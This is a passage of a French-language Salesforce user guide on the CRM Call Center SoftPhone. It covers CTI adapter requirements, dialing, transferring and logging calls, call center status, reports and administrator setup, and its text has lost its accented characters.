Salesforce CRM Call Center ncessite l'installation d'un adaptateur lger de couplage tlphonie-informatique (CTI) sur
l'ordinateur de chaque utilisateur Salesforce.com. La configuration minimale requise pour cet adaptateur est :

Internet Explorer 7.0 ou ultrieur ; Firefox 3.5 ou ultrieur (Safari n'est pas pris en charge)
Windows XP
256 Mo de RAM (512 Mo recommands)
20 Mo d'espace disque minimum
Processeur Pentium 2 500 MHz minimum

Voir aussi :
Qu'est-ce que Salesforce CRM Call Center Edition ?
Utilisation d'un SoftPhone
Configuration de Salesforce CRM Call Center

Utilisation d'un SoftPhone

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher et utiliser le SoftPhone :

Membre d'un centre d'appels

Le SoftPhone Salesforce CRM Call Center se trouve dans le menu latral gauche de votre fentre Salesforce.com. Vous pouvez
l'utiliser pour excuter les oprations suivantes :

Vous connecter votre centre d'appels

Modifier l'tat de votre centre d'appels pour annoncer si vous tes prt recevoir un nouvel appel

Centre d'Appels

Guide de l'utilisateur | Connexion au SoftPhone | 1127

Composer un numro de tlphone en utilisant le SoftPhone intgr ou en cliquant sur l'icne situe ct du numro
de tlphone associ un contact, une piste, une activit ou un compte
Rechercher un numro de tlphone dans l'annuaire personnalis de votre centre d'appels
Rpondre un appel d'un autre utilisateur du centre d'appels ou d'un numro extrieur
Mettre un appelant en attente
Lancer une audioconfrence avec un autre utilisateur du centre d'appels ou un numro extrieur
Transfrer un appel vers un autre utilisateur du centre d'appels ou vers un numro de tlphone externe
Ajouter des commentaires ou associer des enregistrements Salesforce.com l'aide un journal d'appels automatique pour
enregistrer rapidement les informations relatives un appel
Modifiez les paramtres personnels de Salesforce CRM Call Center pour personnaliser le comportement de votre SoftPhone
Remarque: Le menu latral ne peut pas tre rduit si vous tes un utilisateur de Salesforce CRM Call Center.

Remarque: Certaines fonctions Salesforce CRM Call Center dcrites dans ce systme d'aide risquent de ne pas tre
disponibles avec le SoftPhone, en raison des personnalisations effectues pour votre entreprise. Pour plus d'informations,
contactez l'administrateur.

Voir aussi :
Qu'est-ce que Salesforce CRM Call Center Edition ?
Configuration minimale requise pour Salesforce CRM Call Center
propos des SoftPhones
Fin d'un appel avec le SoftPhone

Connexion au SoftPhone
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour vous connecter Salesforce CRM Call Center :

Membre d'un centre d'appels

Salesforce CRM Call Center implique que vous vous connectiez d'abord Salesforce.com, puis au systme tlphonique de
votre entreprise. La connexion au systme tlphonique, indique dans le menu latral, n'apparat que si vous tes :

Assign un centre d'appels dans Salesforce.com

Sur un ordinateur quip de l'adaptateur CTI adapt. (Pour savoir rapidement si l'adaptateur est install, vrifiez que l'icne
figure dans la barre d'tat systme de l'ordinateur. La barre d'tat systme se situe ct de l'horloge, en bas droite de
votre cran.)

Si la connexion au systme tlphonique n'apparat pas, contactez l'administrateur.

Centre d'Appels

Guide de l'utilisateur | Modification de l'tat du centre d'appels | 1128

Selon le systme tlphonique qu'utilise votre entreprise, le systme vous invite entrer votre ID utilisateur, votre mot de passe
et d'autres informations lorsque vous tentez de vous connecter. Une fois ces informations fournies, cliquez sur Log In pour
tablir la connexion avec le systme tlphonique.
Pour vous connecter automatiquement au systme tlphonique sans cliquer sur le bouton Connexion :
1. Cliquez sur Configuration Paramtres de centre d'appels Mes paramtres SoftPhone.
2. Connexion automatique votre centre d'appels lors d'une connexion Salesforce.com. Lorsque
vous vous connectez au systme tlphonique pour la premire fois, Salesforce.com enregistre vos informations de connexion.
Il tablit ainsi ensuite la connexion au systme tlphonique automatiquement quand vous vous connectez Salesforce.com.
Remarque: Si vous vous dconnectez volontairement du systme tlphonique alors que vous tes connect
Salesforce.com, la connexion automatique est dsactive jusqu' la fin de la session Salesforce.com. Pour ractiver la
connexion automatique, fermez la session Salesforce.com et reconnectez-vous.
Si vous venez de vous connecter au systme tlphonique, l'tat du centre d'appels est automatiquement dfini sur Pas prt
recevoir des appels. Pour recevoir des appels, vous devez dfinir l'tat du centre d'appels sur Prt recevoir des appels.

Voir aussi :
Utilisation d'un SoftPhone
Configuration minimale requise pour Salesforce CRM Call Center

Modification de l'tat du centre d'appels

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier l'tat de votre centre d'appels :

Membre d'un centre d'appels

Parfois, vous tes connect Salesforce CRM Call Center, mais ne souhaitez pas recevoir d'appels sur votre SoftPhone ou
allez tre loin de votre poste quelque temps. Pour viter alors de recevoir des appels, vous pouvez dfinir l'tat de votre centre
d'appels via l'icne

du SoftPhone. Les valeurs possibles pour l'tat du centre d'appels sont les suivantes :

tat du centre d'appels

Description

Prt recevoir des appels

Vous n'tes pas en ligne actuellement, et tes prt recevoir

le prochain appel direct ou en file d'attente.

Pas prt recevoir des appels

Vous n'tes pas en ligne actuellement, mais n'tes pas prt

recevoir le prochain appel de la file d'attente.
Dans cet tat, vous recevez quand mme les appels adresss
directement votre poste.

Centre d'Appels

Guide de l'utilisateur | Appel avec le SoftPhone | 1129

tat du centre d'appels

Description

En ligne

Vous tes actuellement en ligne avec un appelant, et ne pouvez

recevoir ni appel direct ni appel de la file d'attente.

Rcapitulatif

Vous tes actuellement en ligne et souhaitez passer directement

l'tat Pas prt recevoir des appels une fois l'appel termin.

Dconnexion

Vous souhaitez vous dconnecter du systme tlphonique de

votre centre d'appels tout en restant connect Salesforce.com.
Une fois que vous avez slectionn cette option, Salesforce
CRM Call Center met automatiquement fin la connexion
avec le centre d'appels et affiche l'cran de connexion
SoftPhone.

Lorsque que vous vous connectez pour la premire fois Salesforce CRM Call Center, l'tat du centre d'appels est
automatiquement dfini sur Pas prt recevoir des appels. Choisissez Prt recevoir des appels dans la liste droulante pour
recevoir des appels.
Remarque: Certaines fonctions Salesforce CRM Call Center dcrites dans ce systme d'aide risquent de ne pas tre
disponibles avec le SoftPhone, en raison des personnalisations effectues pour votre entreprise. Pour plus d'informations,
contactez l'administrateur.

Voir aussi :
Utilisation d'un SoftPhone
Connexion au SoftPhone
Appel avec le SoftPhone
Fin d'un appel avec le SoftPhone

Appel avec le SoftPhone

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour passer un appel :

Membre d'un centre d'appels

Salesforce CRM Call Center offre trois mthodes d'appel, comme suit :

En composant un numro manuellement

En utilisant l'annuaire du centre d'appels
En utilisant l'option de numrotation par simple clic

Centre d'Appels

Guide de l'utilisateur | Appel avec le SoftPhone | 1130

Lorsque vous tes en communication, vous pouvez passer un appel sur une seconde ligne en cliquant sur Nouvelle ligne. Cette
nouvelle ligne vous permet de saisir un numro de tlphone tout en restant en ligne avec le premier appelant. Une fois que
vous avez cliqu sur Composer un numro, l'appel initial est mis en attente et le nouvel appel commence.
Remarque: Si vous passez un appel alors que l'tat du centre d'appels est paramtr sur Prt recevoir des appels, le
centre d'appels prend immdiatement l'tat Pas prt. Vous devez alors entrer les codes de motif Pas prt, si la
configuration de votre centre d'appels l'exige.
Pour interrompre une mise en communication pour laquelle vous venez de composer le numro, cliquez sur Mettre fin
l'appel.
Remarque: Certains systmes tlphoniques ne permettent pas de mettre fin un appel partir d'un SoftPhone si la
personne appele n'a pas encore rpondu. Dans ce cas, aucun bouton Mettre fin l'appel n'est disponible. Vous devez
utiliser votre combin tlphonique pour mettre fin l'appel.
Si le numro que vous avez compos est occup, un message apparat. Vous pouvez recomposer le numro ou annuler l'appel.
Remarque: Certaines fonctions Salesforce CRM Call Center dcrites dans ce systme d'aide risquent de ne pas tre
disponibles avec le SoftPhone, en raison des personnalisations effectues pour votre entreprise. Pour plus d'informations,
contactez l'administrateur.

Voir aussi :
Utilisation d'un SoftPhone
Mise en attente d'un appelant l'aide du SoftPhone
Lancement d'une audioconfrence avec le SoftPhone
Transfert d'un appel avec le SoftPhone
Fin d'un appel avec le SoftPhone

En composant un numro manuellement

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour passer un appel :

Membre d'un centre d'appels

Pour passer un appel dans Salesforce CRM Call Center en composant un numro manuellement :
1. Dans le SoftPhone, cliquez sur le nom de la ligne ouverte utiliser. Le clavier tlphonique correspondant apparat.
2. Saisissez le numro de tlphone que vous souhaitez composer en cliquant sur les numros du clavier tlphonique ou en
appuyant sur les touches numrotes de votre clavier.
3. Cliquez sur Composer un numro ou appuyez sur la touche Entre de votre clavier.

Centre d'Appels

Guide de l'utilisateur | Appel avec le SoftPhone | 1131

Remarque: Certaines fonctions Salesforce CRM Call Center dcrites dans ce systme d'aide risquent de ne pas tre
disponibles avec le SoftPhone, en raison des personnalisations effectues pour votre entreprise. Pour plus d'informations,
contactez l'administrateur.

Voir aussi :
Utilisation d'un SoftPhone
En utilisant l'annuaire du centre d'appels
En utilisant l'option de numrotation par simple clic

En utilisant l'annuaire du centre d'appels

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour passer un appel :

Membre d'un centre d'appels

Pour passer un appel dans Salesforce CRM Call Center l'aide de l'annuaire du centre d'appels :
1. Dans le SoftPhone, cliquez sur le nom de la ligne ouverte utiliser. Le clavier tlphonique correspondant apparat.
2. Cliquez sur
en regard du clavier tlphonique pour ouvrir l'annuaire du centre d'appels.
3. Utilisez l'annuaire pour trouver le numro que vous souhaitez composer.
4. Lorsque vous avez trouv le numro, cliquez sur le nom associ pour saisir automatiquement le numro sur le clavier
tlphonique.
5. Cliquez sur Composer un numro ou appuyez sur la touche Entre de votre clavier.
Remarque: Certaines fonctions Salesforce CRM Call Center dcrites dans ce systme d'aide risquent de ne pas tre
disponibles avec le SoftPhone, en raison des personnalisations effectues pour votre entreprise. Pour plus d'informations,
contactez l'administrateur.

Voir aussi :
Utilisation d'un SoftPhone
En composant un numro manuellement
En utilisant l'option de numrotation par simple clic

Centre d'Appels

Guide de l'utilisateur | Utilisation de l'annuaire de centre d'appels | 1132

En utilisant l'option de numrotation par simple clic

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour passer un appel :

Membre d'un centre d'appels

Pour passer un appel directement partir du champ de tlphone d'un contact, d'une piste, d'une activit ou d'un compte
l'aide de Salesforce CRM Call Center :
1. Localisez le numro que vous souhaitez composer dans un contact, une piste, une activit ou un compte.
2. Cliquez sur le bouton situ droite du numro. Le numro est automatiquement compos sur la premire ligne SoftPhone
ouverte.
Remarque:

Si vous avez dj cliqu sur un numro, vous ne pouvez plus le slectionner pendant cinq secondes.
Le bouton n'apparat pas en regard des numros de tlcopie.

Remarque: Certaines fonctions Salesforce CRM Call Center dcrites dans ce systme d'aide risquent de ne pas tre
disponibles avec le SoftPhone, en raison des personnalisations effectues pour votre entreprise. Pour plus d'informations,
contactez l'administrateur.

Voir aussi :
Utilisation d'un SoftPhone
En composant un numro manuellement
En utilisant l'annuaire du centre d'appels

Utilisation de l'annuaire de centre d'appels

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour utiliser un annuaire de centre d'appels :

Membre d'un centre d'appels

chaque centre d'appels est associ un annuaire incluant le nom et le numro de tous les utilisateurs du centre, ainsi que les
numros de tlphone lis aux enregistrements du systme.
Pour utiliser l'annuaire du centre d'appels :

Centre d'Appels

Guide de l'utilisateur | Rponse un appel avec le SoftPhone | 1133

1. Dans le SoftPhone, cliquez sur le nom de la ligne ouverte utiliser. Le clavier tlphonique correspondant apparat. Cliquez
sur
en regard du clavier tlphonique pour ouvrir l'annuaire du centre d'appels.
2. Recherchez un numro de tlphone dans l'annuaire du centre d'appels :
a. Dans la liste droulante Slectionner un objet, slectionnez le type d'enregistrement rechercher. Tout objet possdant
un champ de numro de tlphone est inclus dans cette liste.
b. Dans la zone de texte Rechercher, indiquez tout ou partie du nom que vous recherchez. Pour obtenir la liste des champs
dans lesquels le systme recherche un objet spcifique, reportez-vous Recherche via les champs Recherche la page
1903.
c. Cliquez sur OK pour afficher la liste des enregistrements contenant le texte de la recherche.
3. Lorsque vous avez trouv le numro de tlphone souhait, cliquez sur le nom de l'enregistrement associ pour entrer
automatiquement ce numro dans le SoftPhone.
4. Cliquez sur Composer un numro pour passer l'appel.

Voir aussi :
Qu'est-ce que Salesforce CRM Call Center Edition ?
Utilisation d'un SoftPhone
Appel avec le SoftPhone
Lancement d'une audioconfrence avec le SoftPhone
Transfert d'un appel avec le SoftPhone

Rponse un appel avec le SoftPhone

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour rpondre des appels avec un SoftPhone :

Membre d'un centre d'appels

Lorsque vous tes connect un SoftPhone, vous pouvez recevoir un appel dans les cas suivants :

L'appel provient d'une file d'attente et l'tat du centre d'appels est Prt recevoir des appels.
L'appel est adress directement votre poste et vous n'tes pas dj en ligne.

Vous pouvez savoir qu'un appel entrant est en attente grce au bouton rouge qui clignote et aux intituls Appel entrant,
Transfert entrant ou Confrence entrante qui apparaissent en regard du nom d'une ligne tlphonique du SoftPhone.
Les informations concernant l'appel (le cas chant) apparaissent juste au-dessus du bouton Rponse. En gnral, elles incluent
le numro de tlphone de l'appelant et celui qu'il a compos pour vous joindre. Si le numro de tlphone de l'appelant est
associ un numro d'un enregistrement Salesforce.com existant, un lien vers cet enregistrement s'affiche galement. De
mme, si le centre d'appels invite les appelants saisir un numro de compte ou d'autres donnes avant d'tre mis en relation
avec un reprsentant, le SoftPhone recherche les enregistrements contenant ces donnes et affiche automatiquement des liens
vers ces enregistrements.
Pour rpondre un appel entrant, vous pouvez effectuer les oprations suivantes :

Centre d'Appels

Guide de l'utilisateur | Mise en attente d'un appelant l'aide du SoftPhone | 1134

Cliquez sur Rponse dans le SoftPhone.

Utilisez le tlphone afin de prendre l'appel.

Lorsque vous rpondez un appel, l'horloge de dure d'appel commence tourner et l'tat du centre d'appels est paramtr
automatiquement sur Occup. Si vous ne rpondez pas l'appel, le systme le transfre vers un autre utilisateur et l'tat du
centre d'appels est paramtr automatiquement sur Pas prt recevoir des appels.
Une fois que vous avez rpondu l'appel, vous pouvez :

Consigner des commentaires et associer des enregistrements Salesforce.com l'appel

Mettre l'appelant en attente
Transfrer l'appel vers un autre utilisateur du centre d'appels
Lancer une audioconfrence en invitant un autre utilisateur du centre d'appels participer l'appel
Mettre fin l'appel
Remarque: Si le SoftPhone prend en charge plusieurs lignes tlphoniques et si un appel est pass sur une ligne alors
que vous rpondez un appel sur une autre, le premier appel est automatiquement mis en attente.
Remarque: Certaines fonctions Salesforce CRM Call Center dcrites dans ce systme d'aide risquent de ne pas tre
disponibles avec le SoftPhone, en raison des personnalisations effectues pour votre entreprise. Pour plus d'informations,
contactez l'administrateur.

Voir aussi :
Utilisation d'un SoftPhone
Modification de l'tat du centre d'appels

Mise en attente d'un appelant l'aide du SoftPhone

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour mettre un appelant en attente :

Membre d'un centre d'appels

Salesforce CRM Call Center permet de mettre un appelant en attente de faon ce qu'il ne puisse pas vous entendre parler.
Pour mettre un appelant en attente, cliquez sur En attente dans la ligne du SoftPhone actuellement active. L'horloge Temps
d'attente, qui indique le dlai d'attente de l'appelant, dmarre automatiquement et l'icne situe au niveau de la ligne ( )
commence clignoter en jaune.
Pour reprendre l'appel, cliquez sur Rcuprer aprs mise en attente. Si vous souhaitez mettre fin l'appel sans reprendre la
communication avec l'appelant aprs la mise en attente, cliquez sur Mettre fin l'appel.
Remarque:

Les appelants sont automatiquement mis en attente chaque fois que vous procdez un transfert d'appel, composez
un numro sur une deuxime ligne ou effectuez un appel en audioconfrence.

Centre d'Appels

Guide de l'utilisateur | Lancement d'une audioconfrence avec le SoftPhone | 1135

Si vous cliquez sur En attente pendant une audioconfrence, les autres participants la confrence ne vous entendent
plus mais peuvent toujours se parler.

Remarque: Certaines fonctions Salesforce CRM Call Center dcrites dans ce systme d'aide risquent de ne pas tre
disponibles avec le SoftPhone, en raison des personnalisations effectues pour votre entreprise. Pour plus d'informations,
contactez l'administrateur.

Voir aussi :
Utilisation d'un SoftPhone

Lancement d'une audioconfrence avec le SoftPhone

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour lancer une audioconfrence :

Membre d'un centre d'appels

Pour lancer une audioconfrence avec un autre utilisateur de centre d'appels ou avec un numro de tlphone externe :
1. Pendant l'appel, cliquez sur le bouton Confrence correspondant la ligne SoftPhone active. Le correspondant est
automatiquement mis en attente et un nouveau clavier tlphonique est activ.
2. Utilisez le clavier tlphonique, votre clavier ou l'annuaire tlphonique pour entrer le numro de tlphone de la personne
qui doit rejoindre l'audioconfrence.
3. Cliquez sur Lancer une confrence. Votre premier correspondant reste en attente pendant que vous appelez le numro
choisi. Si le numro que vous avez compos est occup, un message apparat. Vous pouvez recomposer le numro ou annuler
l'appel.
4. Lorsque vous tes en ligne avec le second correspondant et prt dbuter la confrence, cliquez sur Terminer la confrence.
Le second correspondant rejoint le premier sur la ligne tlphonique de dpart et les trois intervenants peuvent alors
changer librement. Si vous ne voulez plus crer d'audioconfrence aprs avoir compos le second numro, cliquez sur
Annuler la confrence pour interrompre la communication avec le second correspondant et revenir au correspondant
initial.
Remarque:

Si vous cliquez sur En attente pendant une audioconfrence, les autres participants la confrence ne vous entendent
plus mais peuvent toujours se parler.

Centre d'Appels

Guide de l'utilisateur | Transfert d'un appel avec le SoftPhone | 1136

Certains systmes tlphoniques limitent le nombre de correspondants qui peuvent participer une confrence sur
une seule et mme ligne. Pour plus d'informations, contactez l'administrateur.

Voir aussi :
Qu'est-ce que Salesforce CRM Call Center Edition ?
Utilisation d'un SoftPhone
Mise en attente d'un appelant l'aide du SoftPhone

Transfert d'un appel avec le SoftPhone

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour transfrer un appel :

Membre d'un centre d'appels

Pour transfrer un appel vers un autre utilisateur du centre d'appels ou vers un numro de tlphone externe :
1. Joignez tous les enregistrements Salesforce.com pertinents l'appel transfrer. Par exemple, si vous avez cr une requte
pour l'appel, enregistrez-la et veillez la slectionner dans l'un des champs Associ du journal d'appels actuel.
L'utilisateur auquel vous transfrez l'appel aura ainsi accs la requte dans son SoftPhone.
2. Cliquez sur le bouton Transfrer correspondant la ligne SoftPhone transfrer. Vous restez en ligne avec le premier
appelant et un nouveau clavier tlphonique est activ.
3. Utilisez le clavier tlphonique, votre clavier ou l'annuaire du centre d'appels pour entrer le numro de tlphone de la
personne laquelle l'appel doit tre transfr.
4. Cliquez sur Lancer un transfert. Le premier appelant est mis automatiquement en attente pendant que vous tentez de
joindre le numro choisi. Si le numro que vous avez compos est occup, un message apparat. Vous pouvez recomposer
le numro ou annuler l'appel.
5. Lorsque vous tes prt transfrer le premier appelant vers le numro de destination, cliquez sur Terminer le transfert.
Si vous ne voulez plus transfrer l'appel, cliquez sur Annuler le transfert.
Une fois le transfert effectu, votre ligne est libre immdiatement et l'tat Prt recevoir des appels est rtabli.

Voir aussi :
Qu'est-ce que Salesforce CRM Call Center Edition ?
Utilisation d'un SoftPhone
Fin d'un appel avec le SoftPhone
Cration de journaux des appels dans le SoftPhone

Centre d'Appels

Guide de l'utilisateur | Cration de journaux des appels dans le SoftPhone | 1137

Cration de journaux des appels dans le SoftPhone

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer un journal des appels :

Membre d'un centre d'appels

Chaque appel externe que vous passez ou recevez l'aide d'un SoftPhone gnre automatiquement un enregistrement d'activit
dans le journal des appels. Vous pouvez afficher les journaux des appels en excutant un rapport ou dans la liste associe
Historique des activits de tout enregistrement Salesforce.com associ l'appel. Les enregistrements de journal d'appels gnrs
automatiquement incluent des valeurs pour les lments suivants :

L'utilisateur du centre d'appels qui a reu ou effectu l'appel

Le numro de tlphone du contact qui a appel ou a t appel par l'utilisateur du centre d'appels
La date laquelle l'appel a t pass
La dure de l'appel, en secondes
S'il s'agissait d'un appel entrant ou sortant
L'identificateur unique de l'appel dans le systme du centre d'appels

Vous pouvez associer jusqu' deux enregistrements un journal des appels, modifier leur objet et y ajouter des commentaires
tandis que l'appel est en cours. Pour ce faire :
1. Associez jusqu' deux enregistrements au journal des appels :

Lorsque vous affichez ou crez un contact, une piste ou un compte personnel, la liste droulante Nom apparat dans le
journal des appels. Utilisez cette liste pour slectionner un enregistrement de contact, de piste ou de compte personnel
unique associer l'appel.
Lorsque vous affichez ou crez un autre type d'enregistrement Salesforce.com, la liste droulante Associ s'affiche
dans le journal des appels. Utilisez cette liste pour slectionner un enregistrement unique d'un autre type associer
l'appel.
Remarque: Les enregistrements d'objet personnalis ne peuvent tre associs un journal des appels que si
l'objet personnalis assure le suivi des activits. Reportez-vous Dfinition d'objets personnaliss la page 691.

Par dfaut, les derniers enregistrements affichs sont slectionns dans les listes Nom et Associ , moins que vous ne
choisissiez manuellement un autre enregistrement. Une fois l'appel termin, les enregistrements slectionns dans ces listes
comprennent le journal des appels dans leurs listes associes d'historique d'activit. Ces enregistrements sont galement
affichs avec l'appel s'il est transfr vers un autre utilisateur Salesforce CRM Call Center ou s'il s'agit d'un appel en
confrence avec cet utilisateur.
2. Modifiez les champs Objet et Commentaires l'aide des informations sur ce qui s'est pass pendant l'appel.
Une fois l'appel fini, le journal des appels est automatiquement enregistr en tant que tche termine. Pour accder rapidement
aux journaux enregistrs des appels venant de se terminer, dveloppez la section des N derniers appels du SoftPhone. Cette
liste rpertorie les derniers appels passs (trois au maximum), l'appel le plus rcent tant affich en premier :

Pour modifier un journal des appels rcent, cliquez sur Modifier en regard du champ Objet de ce journal.

Centre d'Appels

Guide de l'utilisateur | Fin d'un appel avec le SoftPhone | 1138

Pour afficher un journal des appels enregistr, cliquez sur l'objet correspondant.
Pour afficher un enregistrement associ un journal des appels, cliquez sur son nom.

Pour afficher la liste de tous les appels passs ou reus la veille, cliquez sur Mes appels du jour. Ce lien ouvre le rapport Mes
appels du jour dans l'onglet Rapports.
Remarque: Certaines fonctions Salesforce CRM Call Center dcrites dans ce systme d'aide risquent de ne pas tre
disponibles avec le SoftPhone, en raison des personnalisations effectues pour votre entreprise. Pour plus d'informations,
contactez l'administrateur.

Voir aussi :
Utilisation d'un SoftPhone
Excution de rapports
Fin d'un appel avec le SoftPhone

Fin d'un appel avec le SoftPhone

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour mettre fin un appel :

Membre d'un centre d'appels

Lorsque vous tes prt mettre fin un appel :

1. Mettez jour le journal des appels associ. Par exemple, si vous avez cr une requte ou affich un contact pendant l'appel,
vrifiez qu'ils sont slectionns dans l'un des champs Associ du journal. Utilisez galement la zone de texte
Commentaires pour noter des remarques sur l'appel.
Remarque: Aucun journal des appels n'est cr pour les appels internes.

2. Cliquez sur le bouton Mettre fin l'appel correspondant la ligne SoftPhone active ou raccrochez votre combin
tlphonique. Vous mettez ainsi fin la communication et librez la ligne.
3. Si les codes de rcapitulatif ne sont pas activs, le centre d'appels reprend l'tat Prt recevoir des appels et le journal de
l'appel est enregistr automatiquement.
4. Si les codes de rcapitulatif sont activs, l'tat du centre d'appels est dfini sur Rcapitulatif et plusieurs codes de motif
apparaissent dans le SoftPhone. Cet tat ne permet pas de recevoir d'appel entrant.
a. Slectionnez le code de motif qui reprsente le mieux le rsultat de l'appel.
b. Si vous le souhaitez, apportez des modifications supplmentaires au journal des appels.
c. Cliquez sur Termin. Le centre d'appels reprend l'tat Prt recevoir des appels et le journal de l'appel est
automatiquement enregistr.

Centre d'Appels

Guide de l'utilisateur | Modification des paramtres SoftPhone personnels | 1139

Tous les journaux d'appels enregistrs sont placs dans la section N derniers appels du SoftPhone, pour rfrence ultrieure.
Vous pouvez consulter les dtails des journaux d'appels en cliquant sur l'un des liens associs :

Le lien Objet (par exemple, Appel le 6/01/2006 12h34 ) ouvre la page de dtails du journal des appels.
Les liens Associ ouvrent la page de dtails de l'enregistrement considr.
Remarque: Certaines fonctions Salesforce CRM Call Center dcrites dans ce systme d'aide risquent de ne pas tre
disponibles avec le SoftPhone, en raison des personnalisations effectues pour votre entreprise. Pour plus d'informations,
contactez l'administrateur.

Voir aussi :
Qu'est-ce que Salesforce CRM Call Center Edition ?
Utilisation d'un SoftPhone

Modification des paramtres SoftPhone personnels

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier des paramtres SoftPhone personnels :

Membre d'un centre d'appels

Vous pouvez contrler les paramtres SoftPhone personnels dans Salesforce.com. Pour modifier vos paramtres, cliquez sur
Configuration Paramtres de centre d'appels Mes paramtres SoftPhone.
Voici les options disponibles :
Paramtre

Description

Connexion automatique votre centre d'appels Slectionnez cette option si vous souhaitez que Salesforce.com
lors d'une connexion Salesforce.com.
utilise les informations de connexion enregistres pour vous

connecter votre SoftPhone automatiquement.

Si un seul enregistrement trouv sur l'appel Slectionnez l'une des options suivantes pour spcifier la faon
entrant
dont un enregistrement doit tre affich lorsqu'il est le seul

correspondre un appel entrant :

Toujours ouvrir l'enregistrement
automatiquement. Cette option affiche l'enregistrement
dans la fentre Salesforce.com principale, crasant tout ce
qui s'y trouvait auparavant. Toutes les modifications non
enregistres de votre enregistrement prcdent sont
perdues.
Ne jamais ouvrir l'enregistrement
automatiquement. Cette option n'affiche pas

Centre d'Appels

Guide de l'utilisateur | Rapports Salesforce CRM Call Center | 1140

Paramtre

Description
l'enregistrement correspondant. Pour l'afficher, vous devez
cliquer sur le lien de l'enregistrement dans le SoftPhone.

Voir aussi :
Qu'est-ce que Salesforce CRM Call Center Edition ?
Utilisation d'un SoftPhone
Connexion au SoftPhone

Rapports Salesforce CRM Call Center

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour excuter des rapports :

Excution des rapports

AND
Autorisation de lecture sur les enregistrements inclus dans le
rapport

Les rapports du dossier Rapports sur les centres d'appels vous permettent d'analyser les appels tlphoniques Salesforce CRM
Call Center grs par votre quipe ou par vous-mme.
Fonctions spciales des rapports sur les centres d'appels
Tenez compte des points suivants lorsque vous excutez des rapports sur les centres d'appels :
Rapports standard

L'option Les appels de mon quipe de cette semaine vous donne des informations sur les appels grs par les utilisateurs
du centre d'appels de votre quipe au cours de la semaine prcdente, y compris les enregistrements associs et le
rsultat de chaque appel.
Le rapport Mes appels du jour donne des informations sur les appels que vous avez passs ou reus au cours du jour
qui vient de s'couler, y compris les enregistrements associs et le rsultat de chaque appel.
Le rapport Mes appels de la semaine vous donne des informations sur les appels que vous avez passs ou reus au
cours de la semaine qui vient de s'couler, y compris les enregistrements associs et le rsultat de chaque appel.

Voir aussi :
Personnalisation des rapports
Qu'est-ce que Salesforce CRM Call Center Edition ?
Utilisation d'un SoftPhone

Centre d'Appels

Guide de l'utilisateur | Configuration de Salesforce CRM Call Center | 1141

Configuration de Salesforce CRM Call Center

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour grer les centres d'appels, leurs utilisateurs, leurs annuaires Grer les centres d'appels
et la prsentation de SoftPhone :

Pour que les utilisateurs de Salesforce.com puissent accder aux fonctionnalits de Salesforce CRM Call Center, un
administrateur doit effectuer les oprations suivantes :
1. Installer un adaptateur CTI sur la machine de chaque utilisateur du centre d'appels. Les fonctionnalits de Salesforce CRM
Call Center ne sont pas disponibles sur les ordinateurs qui ne sont pas munis d'adaptateur.
2. Dfinir un nouvel enregistrement de centre d'appels pour chaque systme de couplage tlphonie-informatique (CTI)
utilis dans votre entreprise.
3. Attribuer des utilisateurs de Salesforce.com au centre d'appels appropri. Un utilisateur de Salesforce CRM Call Center
doit tre associ un centre d'appels pour afficher l'interface utilisateur de SoftPhone.
4. Le cas chant, configurer les annuaires des centres d'appels en ajoutant des numros supplmentaires et en mettant jour
la prsentation de recherche de numros de tlphone.
5. Le cas chant, personnaliser les prsentations SoftPhone pour diffrents profils d'utilisateur afin que le SoftPhone d'un
commercial montre les pistes, les comptes et les opportunits associs, et que le SoftPhone d'un reprsentant du support
montre les requtes et les solutions associes.

Voir aussi :
Utilisation d'un SoftPhone
Configuration minimale requise pour Salesforce CRM Call Center

Dploiement d'adaptateurs sur des ordinateurs de centre

d'appels
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Tous les ordinateurs utilisant Salesforce CRM Call Center doivent disposer d'un adaptateur CTI. L'adaptateur CTI est un
logiciel lger qui contrle l'aspect et le comportement des SoftPhones Salesforce.com.
Les adaptateurs CTI communiquant directement avec chaque systme CTI, l'entreprise doit se servir d'un adaptateur CTI
diffrent pour chaque type de systme CTI utilis. Par exemple, si une entreprise souhaite intgrer un centre d'appels excutant
Cisco IPCC Enterprise et un autre excutant Cisco IPCC Express, elle doit disposer de deux adaptateurs CTI. L'utilisateur
du centre d'appels ne doit quant lui disposer sur son ordinateur que de l'adaptateur CTI SoftPhone correspondant au centre
d'appels auquel il se connecte.

Centre d'Appels

Guide de l'utilisateur | Cration d'un centre d'appels | 1142

Pour tlcharger un adaptateur CTI SoftPhone partir de salesforce.com, visitez le site Web Force.com AppExchange. Le
package d'installation de l'adaptateur inclut les fichiers de configuration de l'adaptateur et un fichier de spcification de centre
d'appels pouvant tre utilis avec l'adaptateur.
Pour installer un adaptateur CTI sur un ordinateur unique, excutez l'application Setup.exe de l'adaptateur CTI. Vous
devez avoir le rle d'administrateur Windows.
